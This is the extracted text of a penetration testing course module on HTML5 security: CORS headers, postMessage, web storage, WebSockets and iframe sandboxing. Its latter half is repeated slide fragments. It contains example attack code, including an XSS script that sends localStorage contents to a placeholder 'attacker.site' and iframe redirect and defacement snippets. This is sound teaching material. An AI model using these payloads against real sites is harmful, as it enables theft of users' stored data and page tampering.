9 HTML5

9.1.
Cross Origin Resource Sharing (CORS)
9.2. Cross Windows Messaging
9.3. Web Storage
9.4. WebSockets
9.5. Sandboxed frames
Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

The same origin policy (SOP) is a policy implemented by browsers
to prevent interactions between resources of different origin.
As noted in the Introduction module, CSS stylesheets, images, and

scripts are loaded without checking the SOP. The same origin
policy is consulted when cross-site HTTP requests are initiated by
client-side scripts.
Example:
Browsers check the SOP when performing AJAX requests.

A script on index.html hosted on the domain domain1.com cannot access
(by means of an Ajax request (XHR)) the home.html page on domain2.com
The browser successfully performs the HTTP request; however, it cannot access
the response.
XHR GET (http://domain2.com/home.html)

domain1.com Domain2.com
page1.aspx index.html home.html page.aspx

Although SOP is necessary for many reasons, it becomes very
restrictive when two entities hosted on different domains need to
establish some kind of interaction.
Two different origins cannot interact one with each other even if
they have mutual trust.

Within the Flash security model, a method to bypass the same
origin policy has already been developed.
Example:
An SWF animation on the origin a.com can access via

Actionscript resources such as images and audio files on a
different origin, b.com. This can only happen if the
crossdomain.xml file allows this operation.

Example:

CORS is a mechanism defined by the W3C here. It enables client-
side cross-origin requests. The document describes how the
browser and the web server must communicate one with each
other to bypass the SOP. It also explains which HTTP headers must
be used to do so.
https://www.w3.org/TR/cors/

These HTTP headers are not part of the HTTP/1.1 standard.
They’re called Control Access Headers and will be described

thoroughly in the next chapters.

The CORS standard is used to enable cross-origin HTTP requests for:
• Ajax requests (through the XMLHttpRequest API)
• Web Fonts (for cross-domain font inclusion via @font-face

within a CSS)
• WebGL textures
• Images are drawn using the drawImage API

In our examples, we will deal only with cross-origin Ajax requests.

According to caniuse.com, currently, CORS is supported by all
browsers except Opera Mini.
https://caniuse.com/

Let’s take a look at a typical JavaScript piece of code used to
perform a cross-origin Ajax request.
Suppose that the function crossOriginXHRGet is defined into

the page at the URL http://origina.ori/index.html

Cross Origin Ajax Request:
function crossOriginXHRGet(){
var xmlhttpr = new XMLHttpRequest();
var url = 'http://originb.ori/page.html';
xmlhttpr.open('GET', url, true);
xmlhttpr.onreadystatechange = handler;
xmlhttpr.send(body);
}

The Ajax request is cross-origin because the requester origin is
different from the target origin:
• Requester origin: http://origina.ori
• Target origin: http://originb.ori

Abiding by SOP, the function handler cannot use JavaScript to read
the page contents at
• http://originb.ori/page.html.

This kind of access to a resource is possible only if the HTTP CORS
headers are used and set properly.
In the following chapters, we will examine all the HTTP CORS

headers and see how to configure them to allow CORS.

First, we need to know the different types of cross-origin requests
that a browser can send.
Depending upon the request type, the exchanged headers will

vary. There are:
• Simple requests
• Preflight requests
• Requests with credentials

A cross-origin request is a Simple request if:
• It only uses GET, HEAD or POST HTTP methods. If the

request method is POST, the Content-Type HTTP header
must be one of the following:
• application/x-www-form-urlencoded
• multipart/form-data
• text/plain
• It does not set custom HTTP headers (i.e., headers that are
not defined within the HTTP/1.1 specs).

A cross-origin request is a Preflight request when it is not a Simple
request.
Let’s see some examples:

• A PUT request
• A POST request with Content-type set to
application/xml
• A GET request with a custom header such as X-
PINGOTHER

Unlike simple requests, preflight requests need to send two HTTP
requests.
The first request is an HTTP OPTIONS request, which the

browser sends to the target resource; this is necessary to
determine whether the actual request is considered safe by the
web server.

The browser and web server use the HTTP Origin headers to
negotiate permissions.
We will deal with these headers in-depth in the next chapter. They
are called control access headers.

By the use of the HTTP response header
Access-Control-Max-Age, the browser will cache the result
of the OPTIONS request.
This way, the browser can avoid sending lots of extra HTTP
requests for the subsequent requests.

In the following example, we will see how a preflight invocation
works.
Consider the following JavaScript code used by a script (running on

http://origina.ori) to invoke a cross-origin DELETE Ajax
request.

Example:
var xmlhttpr = new XMLHttpRequest();

var url = 'http:// originb.ori/file.html';
function handler(){
. . . .
}
function deleteResource(){
xmlhttpr.open('DELETE', url, true);
xmlhttpr.setRequestHeader('Front-End-Https', on');
xmlhttpr.onreadystatechange = handler;
xmlhttpr.send(body);
}

The Ajax request is a DELETE request, and it will send a non-
standard HTTP header (Front-End-Https); therefore, it must
be handled as a preflight request.

The browser will send two different HTTP requests:
OPTIONS /file.html HTTP/1.1
Host: originb.ori
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Origin: http://origina.ori
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: Front-End-Https

The response will be checked by the browser to make sure that the
web server allows the request type.
Example:
The following response will allow the origin

http://origina.ori to perform an Ajax cross-origin request
(POST, GET, OPTIONS or DELETE) including the Front-End-
Https header.

HTTP/1.1 200 OK
Date: Mon, 11 Feb 2013 09:00:01 GMT
Server: Apache/2.0 (Unix)
Access-Control-Allow-Origin: http://origina.ori
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE
Access-Control-Allow-Headers: Front-End-Https
Access-Control-Max-Age: 3600
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 0
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain

DELETE /file.html HTTP/1.1
Host: originb.ori
User-Agent: Mozilla/5.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Front-End-Https: on
Content-Type: text/xml; charset=UTF-8
Referer: http://origina.ori/index.html
Origin: http://origina.ori

The web server allows the DELETE request because it both allows
the HTTP Verb and because it comes from an authorized origin.
After receiving the second request, it will delete the resource

file.html.
If the web server had forbidden the request, the real HTTP
DELETE request would not have even been sent by the browser.

By default, in cross origin Ajax request invocations, browsers do
not send credentials.
HTTP cookies and HTTP authentication information are both

considered credentials; therefore, if a developer decides to include
credentials, he must set the flag withCredentials during the
XHR invocation.

The following JavaScript code shows it in action:
<script type="text/javascript">
function handler() {
. . .
}
var xhr = new XMLHttpRequest();

xhr.open("GET", "http://originb.com/home.html", true);
xhr.withCredentials = true;
xhr.onreadystatechange = handler;
xhr.send();
</script>

Access control headers dictate how the browser has to treat cross origin
requests. In the next slides you will study the following headers:
• Access-Control-Allow Origin
• Access-Control-Allow-Credentials
• Access-Control-Allow-Headers
• Access-Control-Allow-Methods
• Access-Control-Max-Age
• Access-Control-Expose-Headers
• Origin
• Access-Control-Request-Method
• Access-Control-Request-Header

Access-Control-Allow-Origin is the most important
HTTP response header; it’s set by the target origin to allow access
from a specific requester origin.
The format is the following:
Access-Control-Allow-Origin: <allowedOrigin>

The origin domain2.com permits access from the origin
domain1.com, so the cross-origin XHR succeeds.
domain1.com XHR GET (http://domain2.com/home.html) domain2.com
HTTP Response Headers:

Access-Control-Allow-Origin: domain1.com

The origin domain2.com permits access only from the origin domain3.com, so
the cross-origin XHR fails. The HTTP request is performed successfully, but the
response cannot be accessed by the browser.

Access-Control-Allow-Origin: domain3.com

The target origin can specify a wildcard (*).
This would permit external scripts hosted on any site to access

resources from the target origin.

The target origin can be accessed by any origin, so the cross-origin
XHR succeeds.

Access-Control-Allow-Origin: *

A typical security issue occurs when an origin containing sensitive
documents can be accessed by all origins.
This would permit an attacker to steal all information contained in

the origin simply by getting the victim to visit a crafted website
under his control.

The Access-Control-Allow-Credentials HTTP response
header sent by the target origin to the requester indicates that the
actual request can be made with credentials.
By default, the requester origin (the requester’s browser) does not

send credentials to the target origin.

If a requester origin needs to send credentials, it must set the
withCredentials flag.
Example:
<script type="text/javascript">
function handler() {
. . .
}
var xhr = new XMLHttpRequest();

xhr.open("GET", "http://originb.com/home.html", true);
xhr.withCredentials = true;
xhr.onreadystatechange = handler;
xhr.send();
</script>

Example 1:
In the following example, origin domain1.com requests

(withCredentials) the origin domain2.com.
The origin domain2.com allows domain1.com to read the

requested content and allows the access with credentials.

Here you can see the messages in action:

Cookie: PHPSESSID=bit29ejso1231q6k60f8vfn0
domain1.com domain2.com

Access-Control-Allow-Origin:http://domain1.com
Access-Control-Allow-Credentials:true

Example 2:
In this other example, origin domain1.com requests

(withCredentials) the origin domain2.com.
Origin domain2.com allows domain1.com to read the
requested content but does not accept the credentials because
the request does not include the Access-Control-Allow-
Credentials header.
So the browser performs the HTTP request successfully but cannot

access the response.

• Let’s see how it works:

Cookie: PHPSESSID=bit29ejso1231q6k60f8vfn0 domain2.com
domain1.com

Access-Control-Allow-Origin:http://domain1.com

For security reasons, a target origin cannot specify that a resource
is both accessible by any other origin and that it accepts
credentials.
In other words, the following headers will never be sent together:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

The Access-Control-Allow-Headers HTTP response
header is sent by the target origin to the requester during preflight
requests. It indicates which non-standard HTTP headers can be
sent in the actual request.
Access-Control-Allow-Headers: [<field-name>][, <field-name>][*]
Access-Control-Allow-Headers: X-PINGOTHER

The Access-Control-Allow-Methods HTTP response
header is sent by the target origin to the requester during preflight
requests. It indicates which HTTP methods can be used during the
actual request.
Access-Control-Allow-Methods: [<method>][, <method>][*]
Access-Control-Allow-Methods:POST, GET, DELETE

The Access-Control-Max-Age HTTP response header is sent
by the target origin to the requester during preflight requests. It
indicates how long the results of a preflight request can be cached.
Access-Control-Max-Age: <deltaSeconds>
Access-Control-Expose-Headers: 7200

The Access-Control-Expose-Headers HTTP response
header sent by the target origin to the requester indicates which
headers can be accessed by the browser.
Access-Control-Expose-Headers: [<MyHeader1>][<MyHeader2>][*]

A cross-origin request includes an extra HTTP header named
Origin.
This header is always sent and contains the origin (protocol,

domain name, and port) of the request. Although it is always sent,
it is useless for the authorization protocol.

The Access-Control-Request-Method HTTP request header is
sent by the requester origin during preflight requests. It is sent within the
OPTIONS request and specifies what method the requester is going to
use during the actual request.
Access-Control-Request-Method: <field-name>
Access-Control-Request-Method: PUT

The browser will analyze the
Access-Control-Allow-Methods HTTP response header
to check whether the method is considered safe or not.

The Access-Control-Request-Headers HTTP request
header is sent by the requester origin during preflight requests. It
is sent within the OPTIONS request and specifies which non-
standard headers the requester is going to use during the actual
request.
Access-Control-Request-Headers: <field-name>[, <field-name>]*

Example:
If a browser sends a request containing:
Access-Control-Request- Headers: X-PINGOTHER
Then it will analyze the Access-Control-Allow-Headers

HTTP response header to check whether the headers sent are
considered safe by the web server.

HTML5 allows iframes, frames, popups and the current window to
communicate one with each other, regardless of the same origin
policy, by using a mechanism known as Cross Window Messaging.
When using this feature, two windows that have some kind of
relationship can exchange messages.

Typical relationships between two windows are:
• A main window including an iframe
• A main window including some HTML code that generates
a popup
A window or a tab in your browser cannot interact with other

windows unless they have a relationship.

A window can send messages to another window by using the postMessage
API call. The sender window (hosted at http://domain1.com) will run
some code similar to the following.
<button onclick="openPopup()">Open</button>
<button onclick="sendCustomMessage()">Send</button>
<script>
function openPopup() {
popup = open("http://target.site/to.php");
}
function sendCustomMessage() {
popup.postMessage("Hi there!", "http://victim.site/to.php");
}
</script>

Analogously, a window is allowed to receive messages from another
window if a handler, related to the message event, has been installed.
<script>
window.addEventListener("message", receiveMessage, false);
function receiveMessage(event) {
if (event.origin !== "http://trusted.site") {
console.log("Message from a unauthorized origin!");
return;
}
console.log("Message received")
}
</script>

A typical security issue occurs when the receiver window does not
check the origin of the sender when receiving a message. With this
poor configuration, the receiver window could interact with any
sender regardless of whether it is trusted or not.
A good practice is to always filter the senders by checking

their origin.

Example:
The following code accepts messages from every source!
<script>
console.log("Message received")
// Do some actions
// . . .
}
</script>

Example:
While this piece of code verifies if the message source is trusted.

<script>
if (event.origin !== "http://trusted.site") {
console.log("Message from a unauthorized origin!");
return;
}
// Do some actions
// . . .
}
</script>

Another security issue regards message content filtering. If the
message is used to build the page output, an attacker could exploit
cross-site scripting in the source domain to perform cross origin
XSS!!!
The attacker has to exploit an XSS vulnerability in the source

domain and build some JavaScript code to send a malicious
message.

HTML5 allows websites to store data locally in the browser. This is
done by accessing the localStorage and the
sessionStorage objects via JavaScript.
The concept of persistent data in the browser environment could

mistakenly lead us to associate this type of storage
with cookies.

Let’s explain the differences:
• Size: cookie size is limited to 4KB, while localStorage size ranges

from 5MB to 10MB (depending on the browser implementation)
• Interface: cookies are accessed by client/server and transferred over

HTTP connections, localStorage is known only to the browser
• Data model: cookies represent a complex structure by using different

fields, while web storage provides a simpler interface by using an
associative array data model.

HTML5 distinguishes two different storage models:
• local storage
• session storage
Session storage is less persistent than local storage. They are

conceptually very similar except for a few key differences (scope
and lifetime).
Let’s take a look.

Local storage is a persistent JavaScript object used as local
repository.
HTML pages loaded by the browser and sharing

domain1.com the same origin will use the same local storage
Local
Storage object; so if page1.html updates local storage,
index.html from the same origin will be able
page1.html index.html to read the modified storage object.

This storage is persistent and will be deleted when one of the
following events occur:
• The web application deletes storage through

localStorage API calls
• The user deletes storage using the browser cleaning

feature
• For example, through the Clear Recent History feature

Session storage is bound to the
browser window where a website is
domain1.com open. If a browser has ten tabs
Session
pointing to the same URL,
Session
Storage
Storage http://domain1.com/index.html,
Session
Storage
each of them will have its own
sessionStorage object, each
page1.html home.html
one distinct from the others.

This storage is deleted when one of the following events
occurs:
• The web application deletes storage through
sessionStorage API calls
• The user deletes storage through the browser cleaning
feature
• For example, through the Clear Recent History feature
• The user closes the browser window
• In other words, the session storage is limited to the window lifetime

Note that when a user refreshes the browser page, the
sessionStorage object is kept.

Local storage can be accessed via JavaScript through the
localStorage object.
Web developers do not need to manage this storage directly, but

they can add and remove elements using the web storage API.

You can add an item to the localStorage by using the
setItem API call by providing a key and a value for the inserted
element.
localStorage.setItem('username','jsmith');

To retrieve an item from the localStorage, you must use the
getItem API call, specifying the key of the element you want to
retrieve.
var usrname = localStorage.getItem('username');

console.log(usrname);
// prints: jsmith

To remove an item from the localStorage, you must use the
removeItem API call.
localStorage.removeItem('username');
console.log(localStorage.getItem('username'));
// prints null

To clear the localStorage content, you can use the clear API
call. All items in the localStorage will be deleted.
localStorage.clear()

Session storage can be accessed via JavaScript through the
sessionStorage object.
Web developers can manage the sessionStorage via the

same API interface of the localStorage:
• setItem
• getItem
• removeItem
• clear

Storage objects (both localStorage and sessionStorage)
are managed via JavaScript so that they can be stolen through XSS
attacks.
If an attacker exploits XSS flaws in a page of a specific domain, they

will be able to steal the instances of localStorage and
sessionStorage objects related to that origin.

This script cycles through the storage and then submits it to an attacker-controlled site:
<script>
var i = 0;
var stor = "";
var img = new Image();
while (localStorage.key(i) != null)
{
var key = localStorage.key(i);
stor += key + ": " + localStorage.getItem(key)) + "\n";
i++;
}
img.src="http://attacker.site?steal.php?storage=" + stor;
</script>

During the evolution of the web, the need for low latency and high
throughput applications such as social network chats emerged.
In the past, these applications were relying on polling done by

means of standard HTTP requests. This method had a huge
overhead on the network and added latency issues.

To overcome these limitations, the W3C group has standardized a
new protocol to meet real-time web application needs.

The WebSocket protocol features:
Connection established by upgrading an existing HTTP connection to

WebSocket
Supported by browsers
• ws:// for WebSockets
• wss:// for Secure WebSockets
HTTP standard ports 80,443

• This means: no firewall issues for the users
Full-duplex
• The protocol allows communication in both directions simultaneously

Through the WebSocket protocol, real-time applications can take
advantage of the following benefits:
• Minimal packet overhead
• 2 bytes per packet (at the application layer)
• No polling overhead
• A client sends data only when it has something to send
• Real TCP connections allow low latency

To connect to a WebSocket server, use the following constructor:
var ws = new WebSocket('ws://<WebSocketServerURL>');
To receive notifications about the opened connection use the

onopen event listener:
ws.onopen = function(e) {
alert("Connection established");
// send a message
this.send('<your message>');
}

To receive notifications about new messages use the onmessage
event listener:
ws.onmessage = function(e) {
alert("Received message");
// read the message
var msg= e.data;
alert(msg);
}

WebSockets do not create security pitfalls per se, as much as HTTP
does not pose security issues.
What they carry from a domain to another one is a completely

different thing. If developers do not sanitize the content of the
messages exchanged via WebSockets, they could permit be used to
perform a variety of attack such as XSS, localStorage stealing, SQL
injections and more depending on the specific web application.

In this chapter, we will see some security issues that have been
fixed with the introduction of HTML5.

A classic issue occurs when a website hosts third-party contents
through iframes. Despite the Same Origin Policy, the location
property of each document is always writable (location is an
exception to the SOP); this could be dangerous for the website
which includes an iframe.
Example:
An iframe could redirect visitors to an arbitrary website
by simply setting the location property of its parent
document.

Example:
If a web page (index.html) includes an attacker controlled page

(evil.html) in an iframe, the attacker can change the
window.location and redirect users to an attacker-controlled
site (http://attacker.site/).

• Every visitor of http://domain1.com/index.html
will be redirected to http://attacker.site/
<iframe src="http://domain2.com/home.html"/>
domain1.com domain2.com
<script>
window.parent.location='http://attacker.site/';
</script>

The previous attack is possible because:
• The target website hosts the attacker’s iframe
• The target website does not prevent an attacker from

changing the location property

A rudimentary technique of preventing this, consists of installing a
special event (onbeforeunload) in the main document hosting
the iframes.
The event will be triggered when the attacker's iframe tries to

change the parent document location property.
By using this technique, the main document can only inform the
visitor that the page is being changed.

This is not a real solution; however, it is a way to inform the visitor
that someone is trying to redirect him. It actually does not even
block the redirection.

Moreover, if the main document and the iframe are located on the same
origin, they can access each other.
The iframe document could change the contents of the main document,
using the same technique used by the defacement-via-XSS attack family.
Example:
<script>
window.parent.document.body.innerHTML = 'defaced';
</script>

This could be dangerous in the presence of multiple vulnerabilities.
For example, in a scenario where:

• the attacker succeeds in exploiting a persistent XSS in the
vulnerable.html page
• the vulnerable.html page is included through an iframe
into the index.hmtl page

The attacker first exploits a persistent XSS; then the malicious code
is run inside index.html, thus running the defacement code.
<script>
window.parent.document.
body.innerHTML="defaced";
domain1.com </script>
index.html vulnerable.html
<iframe src="http://domain1.com/vulnerable.htlm" />

To understand the attack, consider that:
• The index.html page includes the page vulnerable.html

through an iframe.
• The JavaScript code on the iframe can access the parent

document (index.html) because of the same origin policy;
therefore, the iframe can change the main document’s
contents.

The victim
opens the domain1.com
index.html
page and sees a
website, index.html iframe.html
apparently
defaced.

Before the introduction of HTML5, the main document was not
able to prevent the iframe from running JavaScript.

The sandbox attribute is a new attribute of the element iframe.
It has been introduced by the HTML5 specs and enables

restrictions on iframe contents.

When the sandbox attribute is set to an empty value, all the
following restrictions on iframe content apply:
No links can target

other browsing
Features that trigger contexts
Forms, scripts, and
automatically are
plugins are disabled • For example, a link clicked
blocked on in an iframe cannot open
the page in the context of
the parent document.

By default, the sandbox attribute denies all. The attribute can also specify a set
of flags, allowing some of the features above.
For example:
❑ ALLOW-SCRIPT
• This flag allows script execution
❑ ALLOW-FORMS
• This flag allows form submission
❑ ALLOW-TOP-NAVIGATION
• This flag allows the iframe content to navigate its top-level browsing
context.

CORS HTTP access control (CORS)
https://developer.mozilla.org/en-
http://www.w3.org/TR/cors/
US/docs/Web/HTTP/Access_control_CORS

HTML5 - CORS

HTML5 labs
In these HTML5 labs, the student can
practice attacking techniques against
HTML5 features such as CORS, Local
storage and Cross Windows Messaging

9 HTML5

Uploaded by

9 HTML5

Uploaded by

9.1.

Cross Origin Resource Sharing (CORS)

9.2. Cross Windows Messaging

9.3. Web Storage

9.5. Sandboxed frames

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

As noted in the Introduction module, CSS stylesheets, images, and

Browsers check the SOP when performing AJAX requests.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

XHR GET (http://domain2.com/home.html)

page1.aspx index.html home.html page.aspx

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

An SWF animation on the origin a.com can access via

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

They’re called Control Access Headers and will be described

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

• Ajax requests (through the XMLHttpRequest API)

• Web Fonts (for cross-domain font inclusion via @font-face

• Images are drawn using the drawImage API

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Suppose that the function crossOriginXHRGet is defined into

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

In the following chapters, we will examine all the HTTP CORS

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Depending upon the request type, the exchanged headers will

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

• It only uses GET, HEAD or POST HTTP methods. If the

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Let’s see some examples:

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

The first request is an HTTP OPTIONS request, which the

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Consider the following JavaScript code used by a script (running on

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

var xmlhttpr = new XMLHttpRequest();

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

The following response will allow the origin

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

After receiving the second request, it will delete the resource

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

HTTP cookies and HTTP authentication information are both

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

var xhr = new XMLHttpRequest();

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

The format is the following:

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

domain1.com XHR GET (http://domain2.com/home.html) domain2.com

page1.aspx index.html home.html page.aspx

HTTP Response Headers:

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

domain1.com XHR GET (http://domain2.com/home.html) domain2.com

page1.aspx index.html home.html page.aspx

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

This would permit external scripts hosted on any site to access

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

domain1.com XHR GET (http://domain2.com/home.html) domain2.com

page1.aspx index.html home.html page.aspx

HTTP Response Headers:

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

This would permit an attacker to steal all information contained in

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018